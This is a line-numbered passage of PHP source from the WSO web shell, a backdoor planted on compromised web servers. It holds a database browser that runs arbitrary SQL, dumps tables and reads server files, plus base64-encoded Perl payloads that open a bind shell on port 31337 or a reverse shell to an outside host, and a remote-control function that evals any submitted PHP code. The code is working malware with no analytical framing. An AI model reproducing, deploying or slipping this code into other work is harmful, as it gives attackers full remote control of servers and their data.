1177 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1178 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1179 </tr>
1180 </table>
1181 <script>
1182 s_db='" . @addslashes($_POST['sql_base']) . "';
1183 function fs(f) {
1184 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1185 if(f.p1) f.p1.value='';
1186 if(f.p2) f.p2.value='';
1187 if(f.p3) f.p3.value='';
1188 }
1189 }
1190 function st(t,l) {
1191 d.sf.p1.value = 'select';
1192 d.sf.p2.value = t;
1193 if(l && d.sf.p3) d.sf.p3.value = l;
1194 d.sf.submit();
1195 }
1196 function is() {
1197 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1198 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1199 }
1200 </script>";
1201 if (isset($db) && $db->link) {
1202 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1203 if (!empty($_POST['sql_base'])) {
1204 $db->selectdb($_POST['sql_base']);
1205 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1206 $tbls_res = $db->listTables();
1207 while ($item = $db->fetch($tbls_res)) {
1208 list($key, $value) = each($item);
1209 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1210 $value = htmlspecialchars($value);
1211 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1212 }
1213 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1214 if (@$_POST['p1'] == 'select') {
1215 $_POST['p1'] = 'query';
1216 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1217 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1218 $num = $db->fetch();
1219 $pages = ceil($num['n'] / 30);
1220 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1221 echo " of $pages";
1222 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1223 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1224 $_POST['p3']--;
1225 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1226 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1227 echo "<br><br>";
1228 }
1229 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1230 $db->query(@$_POST['p2']);
1231 if ($db->res !== false) {
1232 $title = false;
1233 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1234 $line = 1;
1235 while ($item = $db->fetch()) {
1236 if (!$title) {
1237 echo '<tr>';
1238 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1239 reset($item);
1240 $title = true;
1241 echo '</tr><tr>';
1242 $line = 2;
1243 }
1244 echo '<tr class="l' . $line . '">';
1245 $line = $line == 1 ? 2 : 1;
1246 foreach ($item as $key => $value) {
1247 if ($value == null) echo '<td><i>null</i></td>';
1248 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1249 }
1250 echo '</tr>';
1251 }
1252 echo '</table>';
1253 } else {
1254 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1255 }
1256 }
1257 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1258 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1259 echo "</textarea><br/><input type=submit value='Execute'>";
1260 echo "</td></tr>";
1261 }
1262 echo "</table></form><br/>";
1263 if ($_POST['type'] == 'mysql') {
1264 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1265 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1266 }
1267 if (@$_POST['p1'] == 'loadfile') {
1268 $file = $db->loadFile($_POST['p2']);
1269 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1270 }
1271 } else {
1272 echo htmlspecialchars($db->error());
1273 }
1274 echo '</div>';
1275 wsoFooter();
1276 }
1277 function actionNetwork() {
1278 wsoHeader();
1279 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1280 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1281 echo "<h1>Network tools</h1><div class=content>
1282 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1283 <span>Bind port to /bin/sh [perl]</span><br/>
1284 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1285 </form>
1286 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1287 <span>Back-connect [perl]</span><br/>
1288 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1289 </form><br>";
1290 if (isset($_POST['p1'])) {
1291 function cf($f, $t) {
1292 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1293 if ($w) {
1294 @fwrite($w, base64_decode($t));
1295 @fclose($w);
1296 }
1297 }
1298 if ($_POST['p1'] == 'bpp') {
1299 cf("/tmp/bp.pl", $bind_port_p);
1300 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1301 sleep(1);
1302 echo "<pre class=ml1>$out
1303" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1304 unlink("/tmp/bp.pl");
1305 }
1306 if ($_POST['p1'] == 'bcp') {
1307 cf("/tmp/bc.pl", $back_connect_p);
1308 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1309 sleep(1);
1310 echo "<pre class=ml1>$out
1311" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1312 unlink("/tmp/bc.pl");
1313 }
1314 }
1315 echo '</div>';
1316 wsoFooter();
1317 }
1318 function actionRC() {
1319 if (!@$_POST['p1']) {
1320 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
1321 echo serialize($a);
1322 } else {
1323 eval($_POST['p1']);
1324 }
1325 }
1326 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1327 else $_POST['a'] = 'SecInfo';
1328 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1329 exit;